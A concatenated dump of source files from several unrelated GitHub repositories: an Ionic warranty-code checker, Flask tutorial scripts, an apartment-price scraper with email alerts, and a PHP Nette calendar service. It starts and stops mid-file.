UserPage{ registerWarranty: FormGroup; errorMessage: string = ''; successMessage: string = ''; user: FirebaseUserModel = new FirebaseUserModel(); @ViewChild("username") username; data:string; items:any; constructor( public navCtrl: NavController, public userService: UserService, public authService: AuthService, public formBuilder: FormBuilder, public alertCtrl: AlertController, private http: Http, public loading: LoadingController) { } ionViewWillLoad(){ this.registerWarranty = this.formBuilder.group({ production: new FormControl() }); } verify(){ //// check to confirm the username and password fields are filled if(this.username.value=="" ){ let alert = this.alertCtrl.create({ title:"Enter your Production Code", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { username: this.username.value }; let loader = this.loading.create({ content: 'Checking code...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/verify.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Code is invalid"){ let alert = this.alertCtrl.create({ title:"Your Code is invalid", subTitle:"Please enter first 11 digits", buttons: ['OK'] }); alert.present(); }else { let alert = this.alertCtrl.create({ title:"Your Tile is 100% Genuine", subTitle:(res), buttons: ['OK'] }); alert.present(); } }); }); } } }```
zeeshansafdar48/asp.net_core_auth
zeeshansafdar48/asp.net_core_auth ValidEmailDomainAttribute.cs ```using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace InventoryManagement.CustomAttributes { public class ValidEmailDomainAttribute : ValidationAttribute { private readonly string allowDomain; public ValidEmailDomainAttribute(string allowedDomain) { this.allowDomain = allowedDomain; } public override bool IsValid(object value) { string[] arr = value.ToString().Split("@"); return arr[1].ToUpper() == allowDomain.ToUpper(); } } } ```
zeevj/invertory
zeevj/invertory dataModelMockGen.js ```/* //generate in http://www.objgen.com/json items[0] id n = 12345 photo s = http://blablabal location long n = 1.434234 lat n = 2.530583 inBoxId n = 473748937 dateAdded = dateInfo dateChanged = dateInfo purchacePrice n = 51.2 purchaceCurrency n = ILS purchaceDate n = 51.2 WarrantyLengthMonths n = 12 currentValue n = 30 notes = bla blabla quantity = 1 private b = true */ ``` README.md ```# invertory This tool will help you manage your stuff! ```
zef-huang/flask_test
zef-huang/flask_test t08蓝图.py ```from flask import Flask, Blueprint from user import user_bp app = Flask(__name__) app.register_blueprint(user_bp) ``` t02学习配置.py ```from flask import Flask from flask import render_template # 1.实例化Flask类, __name__是文件名 app = Flask(__name__, static_url_path='/my_static') # 1.配置类 # class Config(): # REDIS = "redis://127.0.0.1/1" # app.config.from_object(Config) # 2.配置文件 # app.config.from_pyfile('config.ini') # 3.环境变量 # app.config.from_envvar('CONFIG') # print(app.config.get("REDIS")) # 视图函数 @app.route('/') def index(): # return __name__ return render_template('tmp01.html')``` t01.py ```from flask import Flask from flask import render_template # 1.实例化Flask类, __name__是文件名 app = Flask(__name__, static_url_path='/my_static') @app.route('/') def index(): # return __name__ return render_template('tmp01.html')``` t10异常.py ```from flask import Flask, abort app = Flask(__name__) @app.route("/<string:crazy>") def accident(crazy): abort(404, "crazy things happend") # 创建特定错误页面 @app.errorhandler(404) def err404(e): return "<h1>访问发生错误</h1>" # 函数注释 def add(x:12,y:13) ->accident: return x+y def f(ham: 42, eggs: int = 'spam') -> "Nothing to see here": print("函数注释", f.__annotations__) print("参数值打印", ham, eggs) print(type(ham), type(eggs)) print(add(1,2.0)) print(type(add(1.2, 2)))``` view.py ```from . import user_bp from flask import render_template @user_bp.route('/') def user(): # return "user_bp" return render_template('user.html')``` t05查看所有路由.py ```from flask import Flask, jsonify app = Flask(__name__) @app.route('/') def index(): data = {} url_iteror = app.url_map.iter_rules() for url in url_iteror: data[url.endpoint] = url.rule return jsonify(data) ``` t07跨域.py ```from flask import Flask, render_template app = Flask(__name__) @app.route('/') def index1(): return render_template('tmp01.html') @app.route('/index2') def index2(): return 'index2' ``` __init__.py ```from flask import Blueprint user_bp = Blueprint('user', __name__, url_prefix='/user', static_url_path='/user_static', static_folder='user_static', template_folder='user_templates') from . import view``` t09请求和响应.py ```from flask import Flask, make_response app = Flask(__name__) ############################################## # url字符串获取参数和转化器 # @app.route('/<int:user_id>') # def user_index(user_id): # return "user_id is {}".format(user_id) # 转换器的两个作用: 1.转换类型, 2.过滤无效url ############################################## # 来, 自定义个转换器 from werkzeug.routing import BaseConverter class MobileConverter(BaseConverter): regex = '1[3-9]\d{9}' app.url_map.converters['mobile'] = MobileConverter @app.route("/<mobile:phone_number>") def index(phone_number): return "phone number is {}".format(phone_number) ############################################## # 获取request参数 from flask import request @app.route('/request', methods=['POST', 'GET']) def req(): print(request.args) print(request.form.get("life")) photo = (request.files.get("photo")) photo.save("photo.jpg") return "OK" ############################################## # 返回响应 @app.route("/response") def resp(): response = make_response("response") response.status_code = 301 response.headers = {"token":"struggle"} return response # 返回json from flask import jsonify @app.route("/json") def json_resp(): data = {"wheather":"rain", "mood":"sad"} return jsonify(data="data", age="age") # 返回jinja2 from flask import render_template @app.route('/jinja') def jinja(): return render_template("tmp01.html", name="sad") # 设置cookie @app.route("/cookie") def set_cookie(): response = make_response("设置成功") response.set_cookie("session_id","sdghgkshgdsdgl") return response # 查询cookie @app.route("/require_cookie") def require_cookie(): sid = request.cookies.get("session_id") return sid # 删除cookie @app.route("/delete_cookie") def delete_cookie(): response = make_response("删除成功") response.delete_cookie("session_id") return response from flask import session app.secret_key = "hzf" @app.route('/session') def set_session(): session['name'] = 'huangzefeng' return "设置session成功" # 查看session @app.route('/get_session') def get_session(): name = session.get('name') return name #删除session @app.route('/delete_session') def delete_session(): session.pop('name') return "删除成功" ```
zehonghuang/zehonghuang
zehonghuang/zehonghuang README.md ```### 黄泽宏 | -> hongframe - 专注于基础架构 & 中间件 - 热衷于阅读优秀框架源码 - 有两个半成品开源项目 -> - 基于Dubbo的Raft算法库 [Dubbo-raft](https://github.com/zehonghuang/dubbo-raft) - RPC [Sekiro](https://github.com/zehonghuang/sekiro) - 都是练手用的 <!-- 涉及的技术栈,包括但不限于 ![](https://raw.githubusercontent.com/zehonghuang/github_blog_bak/master/source/image/%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1.png) --> <!-- **zehonghuang/zehonghuang** is a ✨ _special_ ✨ repository because its `README.md` (this file) appears on your GitHub profile. Here are some ideas to get you started: - 🔭 I’m currently working on ... - 🌱 I’m currently learning ... - 👯 I’m looking to collaborate on ... - 🤔 I’m looking for help with ... - 💬 Ask me about ... - 📫 How to reach me: ... - 😄 Pronouns: ... - ⚡ Fun fact: ... --> ```
zeibou/pyAvalonScraper
zeibou/pyAvalonScraper Alerter.py ```from dataclasses import dataclass from typing import List from Scraper import Apartment from Scraper import Building from ApartmentFilter import Filter from Historizer import HistoEntry import Historizer import Scraper import ApartmentFilter import datetime import time import smtplib import json import os from email.mime.text import MIMEText @dataclass class ApartmentChanged: apt_before : Apartment apt_now : Apartment def __str__(self): price_diff = int(self.apt_now.price - self.apt_before.price) sign = '+' if price_diff > 0 else '' bath = int(self.apt_now.bath) if self.apt_now.bath == int(self.apt_now.bath) else self.apt_now.bath return f'{self.apt_now.number} @ ${int(self.apt_now.price)} ({sign}{price_diff}$) - {self.apt_now.bed} bed {bath} bath - {self.apt_now.sq_footage} sqft - {self.apt_now.avail_date:%B %d}' @dataclass class ApartmentUpdates: added : List[Apartment] removed : List[Apartment] changed : List[ApartmentChanged] @dataclass class UpdateLog: date_before : datetime date_after : datetime updates : ApartmentUpdates filters_by_building = { Scraper.avalon_buildings[0].id : Filter(3500, 6000, 750), Scraper.avalon_buildings[1].id : Filter(3500, 5500, 750) } def compare(last_apts, new_apts): if last_apts is None: return None last_apts_dico = apts_to_dict(last_apts) new_apts_dico = apts_to_dict(new_apts) removed = list() added = list() changed = list() for id in last_apts_dico: if not id in new_apts_dico: removed.append(last_apts_dico[id]) else: apt_before = last_apts_dico[id] apt_now = new_apts_dico[id] if apt_before.price != apt_now.price: changed.append(ApartmentChanged(apt_before, apt_now)) for id in new_apts_dico: if not id in last_apts_dico: added.append(new_apts_dico[id]) return ApartmentUpdates(added, removed, changed) def apts_to_dict(apts : List[Apartment]): apts_dico = dict() for apt in apts: apts_dico[apt.id] = apt return apts_dico def get_last_snapshot(building : Building): histos = list(Historizer.load_building(building)) if histos: return histos[-1] def print_changes(last_apts, new_apts, filter): updates = compare(last_apts, new_apts) if updates: if updates.added: print("New Apartment(s) :") for a in ApartmentFilter.filter_apartments(updates.added, filter): print(f" {a}") if updates.removed: print("Removed Apartment(s) :") for a in ApartmentFilter.filter_apartments(updates.removed, filter): print(f" {a}") if updates.changed: print("Updated Apartment(s) :") for aa in updates.changed: if ApartmentFilter.apt_wanted(aa.apt_before, filter) or ApartmentFilter.apt_wanted(aa.apt_now, filter) : print(f" {aa}") def yield_changes(last_apts, new_apts, filter): updates = compare(last_apts, new_apts) if updates: if updates.added: yield "New Apartment(s) :" for a in ApartmentFilter.filter_apartments(updates.added, filter): yield f" {a}" if updates.removed: yield "Removed Apartment(s) :" for a in ApartmentFilter.filter_apartments(updates.removed, filter): yield f" {a}" if updates.changed: yield "Updated Apartment(s) :" for aa in updates.changed: if ApartmentFilter.apt_wanted(aa.apt_before, filter) or ApartmentFilter.apt_wanted(aa.apt_now, filter) : yield f" {aa}" def get_update_logs(building : Building, filter : Filter): apts_now = Scraper.get_apartments(building) histos = list(Historizer.load_building(building)) histos.append(HistoEntry(datetime.datetime.utcnow(), apts_now)) for i in range(1, len(histos)): yield UpdateLog(histos[i-1].date, histos[i].date, compare(histos[i-1].apartments, histos[i].apartments)) def check_for_changes(historize = False, sendAlerts = False): updates_list = [] now = datetime.datetime.utcnow() for b in Scraper.avalon_buildings: new_snap = list(Scraper.get_apartments(b)) last_snap = get_last_snapshot(b) if last_snap: apts_before = last_snap.apartments #print(f" comparing apts for building {b}, before: {len(apts_before)} apartments - now: {len(new_snap)} apartments", flush=True) updates = compare(apts_before, new_snap) if updates and (updates.removed or updates.added or updates.changed): print("updates detected", flush=True) updates_list.append((b, updates)) if historize: Historizer.save_building(b, new_snap, now) if sendAlerts and updates_list: send_alerts(updates_list) def send_alerts(updates): send_email(updates) def send_email(updates): config_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), "email_config.json") with open(config_file, 'r') as file: conf = json.load(file) sender = conf["sender"] password = conf["password"] receivers = conf["receivers"] subject = "Avalon Apartments Updates" body = updates_to_body(updates) msg = MIMEText(body) msg['Subject'] = subject msg['To'] = ', '.join(receivers) msg['From'] = sender # Send the message via our own SMTP server. s = smtplib.SMTP('smtp.gmail.com', 587) s.ehlo() s.starttls() s.ehlo() s.login(sender, password) s.sendmail(sender, receivers, msg.as_string()) s.close() def updates_to_body(updates): body = '' for building, update in updates: body += f'{building.name} :\r\n' if update.added: body += ' Added :\r\n' for u in update.added: body += f' {u}\r\n' if update.removed: body += ' Removed :\r\n' for u in update.removed: body += f' {u}\r\n' if update.changed: body += ' Changed :\r\n' for u in update.changed: body += f' {u}\r\n' return body def continuous_task(sleep_time = 60): while True: now = datetime.datetime.utcnow() print(f"checking at {now}", flush=True) check_for_changes(True, True) time.sleep(sleep_time) def print_building_changes(building : Building, filter : Filter): apts_now = Scraper.get_apartments(building) # no filter on api because we prefer filtering later (to compare with before) last_histo = get_last_snapshot(building) if last_histo: apts_before = last_histo.apartments print_changes(apts_before, apts_now, filter) def yield_building_changes(building : Building, filter : Filter): apts_now = Scraper.get_apartments(building) # no filter on api because we prefer filtering later (to compare with before) last_histo = get_last_snapshot(building) if last_histo: apts_before = last_histo.apartments return yield_changes(apts_before, apts_now, filter) if __name__ == '__main__': #send_email(None) continuous_task(90) #for b in Scraper.avalon_buildings: # #print_update_logs(b) # filter = filters_by_building[b.id] # print_building_changes(b, filter)``` README.md ```# pyAvalonScraper Scrape available apartments and check price updates ``` Scraper.py ```import requests import json from dataclasses import dataclass from dataclasses_json import dataclass_json from datetime import datetime @dataclass_json @dataclass class Apartment: id : str number : str price : float avail_date : datetime sq_footage : int bed : int bath : float def __str__(self): bath = int(self.bath) if self.bath == int(self.bath) else self.bath return f'{self.number} @ {int(self.price)} - {self.bed} bed {bath} bath - {self.sq_footage} sqft - {self.avail_date:%B %d}' @dataclass class Building: id : str name : str avalon_buildings = [ Building('NY037', 'Brooklyn - Ava Dobro'), Building('NY039', 'Brooklyn - Willoughby'), Building('NY011', 'Long Island City - Avalon Riverview') ] def get_api_url(building : Building, min_price = 0, max_price = 0): json_base_url = 'https://api.avalonbay.com/json/reply/ApartmentSearch?communityCode=' price_filter_min = f'&min={min_price}' if min_price else '' price_filter_max = f'&max={max_price}' if max_price else '' return f'{json_base_url}{building.id}{price_filter_min}{price_filter_max}' def get_apartments(building : Building, min_price = 0, max_price = 0): json_url = get_api_url(building, min_price, max_price) r = requests.get(json_url) parsed_json = json.loads(r.content.decode('utf-8')) results = parsed_json['results'] availableFloorPlanTypes = results['availableFloorPlanTypes'] for floorPlanType in availableFloorPlanTypes: availableFloorPlans = floorPlanType['availableFloorPlans'] for plan in availableFloorPlans: finishPackages = plan['finishPackages'] for item in finishPackages: apartments = item['apartments'] for apt in apartments: yield Apartment(apt['unitKey'], apt['apartmentNumber'], apt['pricing']['effectiveRent'], datetime.fromtimestamp(int(apt['pricing']['availableDate'][6:-2]) / 1000), apt['apartmentSize'], apt['beds'], apt['baths']) def print_apts(building : Building): url = get_api_url(building) print(url) for apt in sorted(get_apartments(building), key=lambda a:a.price): print(apt) print() if __name__ == '__main__': for b in avalon_buildings: print_apts(b) ``` Grapher.py ```import matplotlib.pyplot as plt from dataclasses import dataclass from typing import List from Scraper import Apartment from Scraper import Building from ApartmentFilter import Filter import Historizer import ApartmentFilter import Scraper import os import math def graph_all(filter : Filter): for i, b in enumerate(Scraper.avalon_buildings): plt.figure(i + 1) add_to_figure(b, filter) plt.show() def add_to_figure(building : Building, filter : Filter): histos = list(Historizer.load_building(building)) apts_ids = set() for da in histos: for id in ApartmentFilter.filter_apartments_get_ids(da.apartments, filter): apts_ids.add(id) x = [h.date for h in histos] #x = [d.date.strftime('%m-%d') for d in histos] print(x) for i, id in enumerate(sorted(apts_ids, key=lambda id:int(id.split('-')[-1][:-1]))): print(id) plt.subplot(math.ceil(len(apts_ids) / 2), 2,i+1) y = list() apt_info = '' for da in histos: for a in da.apartments: if a.id == id: apt_info = f'{a.number} - {a.bed} beds - {a.sq_footage} sq ft' y.append(a.price) break else: y.append(None) print(y) plt.plot(x, y) plt.title(apt_info) plt.subplots_adjust(hspace=1, wspace=0.5) if __name__ == '__main__': graph_all(Filter(3500, 5000, 750)) #dobro_file = os.path.dirname(os.path.realpath(__file__)) + "/dobro_apts.txt" #willoughby_file = os.path.dirname(os.path.realpath(__file__)) + "/willoughby_apts.txt" #graph(dobro_file, Filter(3000, 4800, 750)) #graph(willoughby_file, Filter(3000, 5500, 750)) ``` Historizer.py ```from dataclasses_json import dataclass_json from dataclasses import dataclass from typing import List from datetime import datetime import pprint import os import Scraper from Scraper import Apartment from Scraper import Building @dataclass_json @dataclass class HistoEntry: date : datetime apartments : List[Apartment] def save_file(histo_file, apartments, date): histo = HistoEntry(date, list(apartments)) with open(histo_file, 'a') as file: file.write(histo.to_json() + "\n") def load_file(histo_file): with open(histo_file, 'r') as file: for line in file.readlines(): yield HistoEntry.from_json(line) def histo_file(building : Building, directory = None): histo_directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'histos') if not directory else directory return os.path.join(histo_directory, f'{building.id}.txt') def save_all(directory = None): now = datetime.now() for building in Scraper.avalon_buildings: apartments = Scraper.get_apartments(building) save_building(building, apartments, now, directory) def save_building(building: Building, apartments, now, directory = None): file = histo_file(building, directory) save_file(file, apartments, now) def load_building(building : Building, directory = None): file = histo_file(building, directory) return load_file(file) if __name__ == '__main__': test_folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'histos_test') save_all(test_folder) for b in Scraper.avalon_buildings: pprint.pprint(list(load_building(b, test_folder)))``` ApartmentFilter.py ```from dataclasses import dataclass from typing import List from Scraper import Apartment @dataclass class Filter: min_price : int max_price : int min_surface : int def apt_wanted(a : Apartment, filter : Filter): return a.price >= filter.min_price and a.price <= filter.max_price and a.sq_footage >= filter.min_surface def filter_apartments_get_ids(apartments, filter: Filter): ids = set() for a in apartments: if apt_wanted(a, filter): ids.add(a.id) return ids def filter_apartments(apartments, filter: Filter): subset = list() for a in apartments: if apt_wanted(a, filter): subset.append(a) return subset```
zeinabjey/CSS-and-Bootstrap-Responsive-Portfolio
zeinabjey/CSS-and-Bootstrap-Responsive-Portfolio README.md ```# CSS-and-Bootstrap-Responsive-Portfolio CSS and Bootstrap: Responsive Portfolio ```
zelambe/bookmark-twitter-extension
zelambe/bookmark-twitter-extension README.md ```bookmark-twitter-extension Description: a google chrome extension that sorts a user's bookmarks. ```
zeleGit/MyFirstRepo
zeleGit/MyFirstRepo README.md ```# MyFirstRepo This is my very first github repository! ```
zeleranskaya/python-bot
zeleranskaya/python-bot excel.py ```from openpyxl import load_workbook book = load_workbook('база данных.xlsx') sheet_1 = book['Лист1'] stickers_page = book['стикеры'] print(book.worksheets) for i in range(1, 4): print(stickers_page.cell(row=1, column=i).value) ```
zeliangwang/predictive_coding
zeliangwang/predictive_coding kitti_settings.py ```# Where KITTI data will be saved if you run process_kitti.py # If you directly download the processed data, change to the path of the data. # For Macbook pro #DATA_DIR = '/Users/zeliangwang/Datasets/kitti_data/' # For linux workstation DATA_DIR = '/data/PredNetDatasets/kitti_data/' # Where model weights and config will be saved if you run kitti_train.py # If you directly download the trained weights, change to appropriate path. # For Macbook pro #WEIGHTS_DIR = '/Users/zeliangwang/Datasets/model_data_keras2/' # For linux workstation WEIGHTS_DIR = '/data/PredNetDatasets/model_data_keras2/' # Where results (prediction plots and evaluation file) will be saved. # For Macbook pro #RESULTS_SAVE_DIR = '/Users/zeliangwang/Datasets/kitti_results/' # For linux workstation RESULTS_SAVE_DIR = '/data/PredNetDatasets/kitti_results/' ```
zelpage/portal
zelpage/portal RouterFactory.php ```<?php namespace ZelPage; use \Nette\StaticClass; use \Nette\Application\Routers\Route; use \Nette\Application\Routers\RouteList; class RouterFactory { use StaticClass; public static function createRouter() : RouteList { $router = new RouteList; $router[] = new Route('<presenter>/<action>[/<id>]', 'Homepage:default'); return $router; } } ``` CalendarService.php ```<?php namespace ZelPage; use \Nette\Database\Context; use \Nette\SmartObject; use \Nette\Utils\Strings; class CalendarService { use SmartObject; use LegacyAwareObject; /** @var Context */ private $db; public function __construct(Context $db) { $this->db = $db; } public function addOrganizer(Organizer $org): Organizer { $row = $this->db->table('kalendar_spolky')->insert([ 'jmeno' => $org->getName(), 'brand' => $org->hasBrand() ? $org->getBrand() : NULL, 'adresa'=> $org->hasAddress() ? $org->getAddress() : NULL, 'description' => $org->hasDescription() ? $org->getDescription() : NULL, 'postOfficeBoxNumber' => $org->hasPostOfficeBoxNumber() ? $org->getPostOfficeBoxNumber() : NULL, 'streetAddress' => $org->hasStreetAddress() ? $org->getStreetAddress() : NULL, 'postalCode' => $org->hasPostalCode() ? $org->getPostalCode() : NULL, 'addressLocality' => $org->hasAddressLocality() ? $org->getAddressLocality() : NULL, 'addressCountry' => $org->hasAddressCountry() ? $org->getAddressCountry() : NULL, 'telefon' => $org->hasPhone() ? $org->getPhone() : NULL, 'fax' => $org->hasFax() ? $org->getFax() : NULL, 'email' => $org->hasEmail() ? $org->getEmail() : NULL, 'www' => $org->hasWww() ? $org->getWww() : NULL, 'FB' => $org->hasFacebook() ? $org->getFacebook() : NULL, 'dopravce' => $org->hasCarrierNumber() ? $org->getCarrierNumber() : NULL, 'taxId' => $org->hasTaxId() ? $org->getTaxId() : NULL, 'foundingDate' => $org->hasFoundingDate() ? $org->getFoundingDate() : NULL, 'dissolutionDate' => $org->hasDissolutionDate() ? $org->getDissolutionDate() : NULL, 'typ' => self::zipTypes($org->getTypes()), 'seo_url' => Strings::webalize($org->getName()), 'active' => $org->isActive(), ]); return $org->setId($row->id); } public function addVehicle(Vehicle $v): Vehicle { $row = $this->db->table('kalendar_vozidla')->insert([ 'typ' => self::zipTypes($v->getType()), 'jmeno' => $v->getName(), 'link_atlas' => $v->getLinkAtlas(), 'link_galerie' => $v->getLinkGallery(), 'active' => $v->isActive(), 'uiccode' => $v->getUicCode(), 'zeme' => $v->getUicCountry(), ]); return $v->setId($row->id); } public function deleteOrganizer(int $id) { $this->db->table('kalendar_spolky')->where('id', $id)->delete(); } public function deleteVehicle(int $id) { $this->db->table('kalendar_vozidla')->where('id', $id)->delete(); } public function editOrganizer(Organizer $org) : Organizer { $this->db->table('kalendar_spolky')->where('id', $org->getId())->update([ 'jmeno' => $org->getName(), 'brand' => $org->hasBrand() ? $org->getBrand() : NULL, 'adresa'=> $org->hasAddress() ? $org->getAddress() : NULL, 'description' => $org->hasDescription() ? $org->getDescription() : NULL, 'postOfficeBoxNumber' => $org->hasPostOfficeBoxNumber() ? $org->getPostOfficeBoxNumber() : NULL, 'streetAddress' => $org->hasStreetAddress() ? $org->getStreetAddress() : NULL, 'postalCode' => $org->hasPostalCode() ? $org->getPostalCode() : NULL, 'addressLocality' => $org->hasAddressLocality() ? $org->getAddressLocality() : NULL, 'addressCountry' => $org->hasAddressCountry() ? $org->getAddressCountry() : NULL, 'telefon' => $org->hasPhone() ? $org->getPhone() : NULL, 'fax' => $org->hasFax() ? $org->getFax() : NULL, 'email' => $org->hasEmail() ? $org->getEmail() : NULL, 'www' => $org->hasWww() ? $org->getWww() : NULL, 'FB' => $org->hasFacebook() ? $org->getFacebook() : NULL, 'dopravce' => $org->hasCarrierNumber() ? $org->getCarrierNumber() : NULL, 'taxId' => $org->hasTaxId() ? $org->getTaxId() : NULL, 'foundingDate' => $org->hasFoundingDate() ? $org->getFoundingDate() : NULL, 'dissolutionDate' => $org->hasDissolutionDate() ? $org->getDissolutionDate() : NULL, 'typ' => self::zipTypes($org->getTypes()), 'seo_url' => Strings::webalize($org->getName()), 'active' => $org->isActive(), ]); return $org; } public function editVehicle(Vehicle $v): Vehicle { $this->db->table('kalendar_spolky')->where('id', $v->getId())->update([ 'typ' => self::zipTypes($v->getType()), 'jmeno' => $v->hasName() ? $v->getName() : NULL, 'seo_url' => $v->hasName() ? Strings::webalize($v->getName()) : NULL, 'link_atlas' => $v->hasLinkAtlas() ? $v->getLinkAtlas() : NULL, 'link_galerie' => $v->hasLinkGallery() ? $v->getLinkGallery() : NULL, 'active' => $v->isActive(), 'uiccode' => $v->hasUicCode() ? $v->getUicCode() : NULL, 'zeme' => $v->hasUicCountry() ? $v->getUicCountry() : NULL, ]); return $v; } /** @return Country[] */ public function findCountries(): array { $countries = []; foreach ($this->db->table('reg_zeme')->order('id') as $row) { $c = self::mapToCountry($row); $countries[$c->getId()] = $c; } return $countries; } /** * @param int $id * @return null|Organizer */ public function findOrganizerByID(int $id) { $o = $this->db->table('kalendar_spolky')->where('id', $id)->fetch(); return ($o === FALSE) ? NULL : self::mapToOrganizer($o); } public function findVehicleByID(int $id): ?Vehicle { $v = $this->db->table('kalendar_vozidla')->where('id', $id)->fetch(); return ($v === FALSE) ? NULL : self::mapToVehicle($v); } /** * @return Organizer[] */ public function findOrganizers() : array { $orgs = []; foreach ($this->db->table('kalendar_spolky')->order('jmeno') as $o) { $org = self::mapToOrganizer($o); $orgs[$org->getId()] = $org; } return $orgs; } /** @return Vehicle[] */ public function findVehicles(): array { $vehicles = []; foreach ($this->db->table('kalendar_vozidla')->order('jmeno') as $v) { $vehicle = self::mapToVehicle($v); $vehicles[$vehicle->getId()] = $vehicle; } return $vehicles; } /** * @param int $typeId * @return Organizer[] */ public function findOrganizersOfType(int $typeId) : array { $orgs = []; foreach ($this->db->table('kalendar_spolky')->where('typ & ?', $typeId)->order('jmeno') as $o) { $org = self::mapToOrganizer($o); $orgs[$org->getId()] = $org; } return $orgs; } /** @return CalendarType[] */ public function findTypesOfConference(): array { return $this->findTypes('konf'); } /** @return CalendarType[] */ public function findTypesOfFare(): array { return $this->findTypes('jizdne'); } /** @return CalendarType[] */ public function findTypesOfRailEvent(): array { return $this->findTypes('zelakce'); } /** @return CalendarType[] */ public function findTypesOfScaleKitExhibition(): array { return $this->findTypes('modvys'); } /** @return CalendarType[] */ public function findTypesOfScaleKitSubject(): array { return $this->findTypes('modsubj'); } /** @return CalendarType[] */ public function findTypesOfStatus(): array { return $this->findTypes('status'); } /** @return CalendarType[] */ public function findTypesOfTraction(): array { return $this->findTypes('trakce'); } /** * @param string $type * @return CalendarType[] */ private function findTypes(string $type): array { $types = []; foreach ($this->db->table('kalendar_typy')->where('typ = ?', $type)->order('typ_id') as $row) { $t = self::mapToType($row); $types[] = $t; } return $types; } private static function mapToCountry($row): Country { $c = (new Country()) ->setId($row->id) ->setName($row->jmeno) ; if (empty($row->seo_url) === FALSE) { $c->setSeoHandle($row->seo_url); } if (empty($row->zkratka) === FALSE) { $c->setAbbr($row->zkratka); } if (empty($row->uiccode) === FALSE) { $c->setUicCode($row->uiccode); } if (empty($row->en_name) === FALSE) { $c->setNameEn($row->en_name); } if (empty($row->de_name) === FALSE) { $c->setNameDe($row->de_name); } if (empty($row->fr_name) === FALSE) { $c->setNameFr($row->fr_name); } if (empty($row->orig_name) === FALSE) { $c->setNameOrig($row->orig_name); } if (empty($row->part) === FALSE) { $c->setContinent($row->part); } return $c; } private static function mapToOrganizer($org) : Organizer { $o = (new Organizer()) ->setId($org->id) ->setName($org->jmeno) ->setType($org->typ) ->setTypes(self::expandTypes($org->typ)) ->setActive($org->active) ->setSeoUrl($org->seo_url) ; if (empty($org->brand) === FALSE) { $o->setBrand($org->brand); } if (empty($org->www) === FALSE) { $o->setWww($org->www); } if (empty($org->adresa) === FALSE) { $o->setAddress($org->adresa); } if (empty($org->description) === FALSE) { $o->setDescription($org->description); } if (empty($org->postOfficeBoxNumber) === FALSE) { $o->setPostOfficeBoxNumber($org->postOfficeBoxNumber); } if (empty($org->streetAddress) === FALSE) { $o->setStreetAddress($org->streetAddress); } if (empty($org->postalCode) === FALSE) { $o->setPostalCode($org->postalCode); } if (empty($org->addressLocality) === FALSE) { $o->setAddressLocality($org->addressLocality); } if (empty($org->addressCountry) === FALSE) { $o->setAddressCountry($org->addressCountry); } if (empty($org->telefon) === FALSE) { $o->setPhone($org->telefon); } if (empty($org->fax) === FALSE) { $o->setFax($org->fax); } if (empty($org->email) === FALSE) { $o->setEmail($org->email); } if (empty($org->FB) === FALSE) { $o->setFacebook($org->FB); } if (empty($org->dopravce) === FALSE) { $o->setCarrierNumber($org->dopravce); } if (empty($org->taxId) === FALSE) { $o->setTaxId($org->taxId); } if (empty($org->foundingDate) === FALSE) { $o->setFoundingDate($org->foundingDate); } if (empty($org->dissolutionDate) === FALSE) { $o->setDissolutionDate($org->dissolutionDate); } if (empty($org->adresa) === FALSE) { $o->setAddress($org->adresa); } if (empty($org->modified) === FALSE) { $o->setModified($org->modified); } return $o; } private static function mapToType($row): CalendarType { $t = (new CalendarType()) ->setId($row->id) ->setFlag($row->typ_id) ; if (empty($row->typ) === FALSE) { $t->setType($row->typ); } if (empty($row->obrazek) === FALSE) { $t->setImageUrl($row->obrazek); } if (empty($row->obr_w) === FALSE) { $t->setImageWidth($row->obr_w); } if (empty($row->obr_h) === FALSE) { $t->setImageHeight($row->obr_h); } if (empty($row->p_lang) === FALSE) { $t->setAbbr($row->p_lang); } if (empty($row->p_short) === FALSE) { $t->setShortName($row->p_short); } if (empty($row->p_long) === FALSE) { $t->setLongName($row->p_long); } return $t; } private static function mapToVehicle($row): Vehicle { $v = (new Vehicle()) ->setId($row->id) ; if (empty($row->jmeno) === FALSE) { $v->setName($row->jmeno); } if (empty($row->typ) === FALSE) { $v->setType(self::expandTypes($row->typ)); } if (empty($row->seo_url) === FALSE) { $v->setSeoUrl($row->seo_url); } if (empty($row->link_atlas) === FALSE) { $v->setLinkAtlas($row->link_atlas); } if (empty($row->link_galerie) === FALSE) { $v->setLinkGallery($row->link_galerie); } if (empty($row->active) === FALSE) { $v->setActive(boolval($row->active)); } if (empty($row->modified) === FALSE) { $v->setModified($row->modified); } if (empty($row->uiccode) === FALSE) { $v->setUicCode($row->uiccode); } if (empty($row->zeme) === FALSE) { $v->setUicCountry(intval($row->zeme)); } if (empty($row->cat) === FALSE) { $v->setCat($row->cat); } return $v; } } ``` ImageFolder.php ```<?php namespace ZelPage; class ImageFolder { } ``` ErrorPresenter.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Application\Request; use \Nette\Application\IResponse; use \Nette\Application\IPresenter; use \Nette\Application\Responses\ForwardResponse; use \Nette\Application\Responses\CallbackResponse; use \Tracy\ILogger; use \Nette\Application\Helpers; use \Nette\Application\BadRequestException; class ErrorPresenter implements IPresenter { use SmartObject; /** @var ILogger */ private $logger; public function __construct(ILogger $logger) { $this->logger = $logger; } /** * @return Nette\Application\IResponse */ public function run(Request $request) : Response { $e = $request->getParameter('exception'); if ($e instanceof BadRequestException) { // $this->logger->log("HTTP code {$e->getCode()}: {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", 'access'); list($module, ,$sep) = Helpers::splitName($request->getPresenterName()); $errorPresenter = $module . $sep . 'Error4xx'; return new ForwardResponse($request->setPresenterName($errorPresenter)); } $this->logger->log($e, ILogger::EXCEPTION); return new CallbackResponse(function () { require __DIR__ . '/templates/Error/500.phtml'; }); } } ``` Category.php ```<?php namespace ZelPage; class Category { /** @var null|int */ private $id; /** @var int */ private $type = 0; /** @var null|string */ private $name; /** @var null|string */ private $image; /** @var null|int */ private $orderPosition; /** @var bool */ private $visible = TRUE; /** @var null|string */ private $seoUrl; public function getId(): ?int { return $this->id; } public function setId(?int $id): Category { $this->id = $id; return 